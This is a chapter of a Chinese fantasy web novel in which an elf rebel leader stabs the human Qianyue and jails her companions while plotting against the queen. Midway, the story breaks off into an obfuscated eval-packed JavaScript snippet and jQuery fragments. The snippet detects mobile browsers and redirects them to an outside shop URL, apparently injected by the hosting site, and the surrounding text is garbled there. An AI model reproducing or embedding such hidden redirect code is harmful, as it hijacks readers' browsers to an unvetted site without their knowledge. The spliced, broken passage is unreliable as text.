22. 暴君(12)
    “你笑什么?”艾奇问。

    “有一件事你说错了,现在这个村子里的人类,除了我们圣骑士,只有你和千鸢,没有你爷爷。”千月悠悠地开口,既然女王想这么做,那她也不介意推波助澜,“因为他前几天就已经死了,在我手里。”

    “你这滚蛋,我要让你死无葬身之地,为我爷爷陪葬!”艾奇拳头紧握,牙齿咬的嘎嘎作响,目眦尽裂,仿佛要将这笔仇恨融入骨血。右手从背后抽出一把匕首,猛地刺向千月。

    没有了咒力的千月连个普通人都不如,她根本没有什么体力可以和一个从小就接受训练的健康人比,更何况是长生的精灵。很快,千月就处于下风。

    艾奇瞄准了千月的右肩,匕首毫不客气地贯穿了她的整个肩膀,又干净利索地拔了出来。千月因为疼痛,整张脸开始扭曲,整个人躺在地上,大口大口地喘着气,艾奇跨坐在她身上,锋利的匕首抵着千月脖颈的大动脉处。

    林然他们想上前帮忙,但被革命军重重包围,自身难保。

    千鸢紧紧地盯着艾奇的一举一动,若她有任何不利的举动,时刻准备拿下艾奇首级。千月的目光平静地看着天空,用心语对他说,【你站在那里不要动,别忘了你的任务。】

    【这一刀割下去,你会死的!】千鸢的声音带着连他自己都没有察觉到的愤怒与焦急。

    【你觉得,我有这么容易死吗?】千月故作轻松,随机就单方面切断了心语。因为肩膀的疼痛快让她说不出话了。

    人类难道不就是这么脆弱吗?千鸢的视线始终没有离开过那把刀,望向千月的目光就是这么说的。

    “你说这一刀划下去会怎样?”艾奇盯着千月惨白的脸,想要看到恐惧与求饶,但是除了面无血色外,仍旧是蔑视的眼神。

    艾奇笑了笑,右手猛地一用力,几滴鲜血毫无征兆地溅在了自己脸上,猩红的眼眸闪了闪。

    千月只觉得呼吸变得异常困难,一呼一吸之间都有冷风不断地灌进咽喉,鲜血不断从口中溢出,寒冷瞬间席卷全身,眼前开始变黑,眼皮不受自己控制地想要合上。

    明明失血过多的是千月,千鸢的脸色却苍白如纸,左耳耳钉的热度在渐渐冷却,银眸阴沉地盯着艾奇的背影。

    “你这个疯子!”安若试图抬起双臂,但被双倍武力镇压,其中一只胳臂明显听到了“咯噔”一声,已经肉眼可见地变形了。她的的视线已经被鲜血染红,千月身上的衣服早已看不出原来的颜色。血泊渐渐向四周蔓延开来,很快便顺延到了千鸢脚下。

    习惯甚至享受杀戮的千鸢,从没觉得血腥味如此腥臭到令人恶心的程度过。

    安若只能扯着嗓子大吼:“千月,你他妈给我撑住!”

    但是安若心里清楚,没有术式,身体根本不可能在短时间内止住血,这么大的出血量必死无疑的。

    林然和萧尺的神情狰狞得有些恐怖,目光被迫注视着被千月的鲜血不断染红着他们脚下的这片土地。突然安若感到自己的身体不再像之前那样沉重,镇压他们的士兵也回归大部队,意识到自己可以自由行动了,连忙跑到千月身边,一拳砸向艾奇。

    艾奇的身上突然多出来了几根藤蔓,把她拉向了千鸢身边。

    千鸢怕她再做出什么事,干脆趁着这个机会让她远离千月。

    安若一拳砸了个空,本来她也没想到能揍到人,就是想发泄一下。发泄完马上撕下衣服上的料子,一圈一圈地紧紧地包扎着千月的脖颈处,但是无论绕了多少圈,鲜血都一层一层浸湿染红布料,双手沾满了血液,最后她只能呆呆地坐在那里,双手按住伤口,实在不知道该怎么办了。

    萧尺用手拍打着千月的脸庞,希望用疼痛让她保持最基本的清醒,但回应他的,只有几声不可闻的嘤咛。

    艾奇把手往前一挥,叛军们再次把他们重重包住,像是猫捉老鼠一样玩弄他们。林然看着黑压压的一大群人,拳头已经在咯咯作响,地上还躺了一个半死不活的同伴,全身散发着骇人的戾气。这件事,完全出乎了他们的意料,看样子今日就要折在这里了,希望不会对女王的计划造成影响。

    “你们几个,把他们押送到特质的地牢里,至于死活,”艾奇特意瞥了一眼双目紧闭的千月,“随便你们。”

    “……”安若紧紧地搂着千月,不停颤抖地双手死死摁着那伤口,越过乌黑的人群,死盯艾奇。

    “至于女王,我会引她出来的。”艾奇特意将话说给圣骑士听,话语间满是蔑视与胜券在握。

    千鸢不停地试着打开心语,甚至用上了“双瞳”。这种术式极其消耗魔力,需要同步调试式神与主人的视野。使自己能看到主人眼里的世界,此时主人会出现双瞳孔现象。但这需要主人的同意才行,若强行调试,极有可能收到反噬。

    如今千月昏迷不醒,千鸢只能强行调试,但回答他的都是一片黑暗。现在情况不明,他唯一能做的就是把自己的力量通过耳钉,一点点传给千月。但是人类是不能大量接受恶魔的力量的,千鸢只能以龟速传过去,连他自己都不知道这塞牙缝都够呛的量能不能管用。

    心里像有千万只蚂蚁爬过一样,想知道她现在怎么样了,想马上到她身边,想杀了眼前所有该死的精灵。

    居然敢弄坏他唯一的洋娃娃!

    “可恶!”安若狠狠地踢向地牢的铁栅栏,但是那个栅栏却纹丝不动。地牢的墙壁上画满了诡异的线条图案,他们的精灵之力根本用不出。

    萧尺和林然两个人正在帮千月包扎受伤的肩膀,但是大动脉的割伤他们根本就无能为力,只能最原始的方法摁着。

    “再这么下去,千月会死的。”萧尺听着千月越来越弱的呼吸声,眉头紧皱。

    “会死的话,早就死了。”林然声音很平静,“这么大的出血量居然到现在还有呼吸。”

    听林然这么一说,两人才恍然大悟。细细查看,果然,千月的呼吸开始渐渐平静下来,虽然很微弱,但是维持在一个频率之上。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200283|149130||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那我们现在该怎么办?等死吗?”安若浮躁的心也开始渐渐平静下来。

    “先调查一下这墙壁上的咒符是什么意思。”林然的目光扫视了一圈,墙上的图案并不是星族的,所以对于他们来说,还有出去的希望。

    “现在也只能这样子了。”萧尺看了一眼还在昏迷的千月,如果她还醒着的话就好了,毕竟她是这方面的专家。

    安若叹了一口气,如果真的能出去,她决定以后一定多看点这方面的书。

    希星村的墓地是一片很广阔的土地,村名们怕自己的亲人找不到回家的路,便种下了向日葵,希望太阳可以照耀回家的方向。时至今日早已形成一片向日葵海洋,温暖的气息洋溢在空气中。

    艾奇披着一件纯白风衣,矗立在一座墓碑前,声音嘶哑地说,“爷爷,对不起。是阿奇太没有用了,连你都保护不了。但是爷爷你放心,我一定会完成我们的梦想。”

    艾奇转过身去,看着不远处只留给她背影的千鸢,忐忑地走了过去,扯了扯他的袖子,低声的问,“阿奇,我这个样子,你还会接受我吗?”

    千鸢低头,看着那双猩红的眼睛,脑子里总会浮现出千月满身是血的场景,银眸中流淌着冰冷的寒气,攥紧的拳头倏地一下就松了下来,闭上眼睛,笑着说,“对于我来说,你始终都是艾奇。”

    没错,对于千鸢来说,艾奇就是艾奇,只是一个不值得他费心的精灵而已。

    他不想睁开眼睛,他怕一睁开,看到那双猩红的眼睛会忍不住,杀了她。

    “谢谢你阿鸢,至少还有你。”艾奇挽着他的手,靠在他的手臂上。

    “首领,据线人报告,女王很有可能会在三天之后出现在希星村与星镇交界处的荒芜之地。”浮卿在下面报告。

    “我在王都还听到一个很有趣的谣言,说是不久之后,天空会出现异常之景,到时新任的王将会出现在王都的宫殿之上。”千鸢站在艾奇身后,表情有点奇怪地说。

    “这不是天助我也嘛!果然就连上天都是站在我们这一边的。”民家大声地扯着嗓子。

    艾奇笑了,“三天之后,我们只需要灭了女王一个人,我们就赢了。所以请各位将士们,好好休息,三天之后,全部给我拿出干劲!”

    “那女王的那些部队怎么办?”舍君问。

    “我早就调查过了,这次女王来希星村,连贵族们都不知道,更何况是那些军队。对外宣称,身体欠安。”千鸢已经开始上手了革命军的任务。

    “这是难得的机会,敌人只有一个人。所以,只许胜利,不许失败。”艾奇从椅子上站了起来,看着底下的那些将军们,露出了她猩红的眼眸。

    “首领万岁!”底下一片欢呼声。

    此时的星镇,早已没了当日举行庙会的盛世繁华,镇上空无一人,门上的对联也已残破不堪,风一吹,街上满是尘土。

    好一片凄凉之景,像是早已被人遗忘了千年的城市一样,湮没在时间与沙土之中。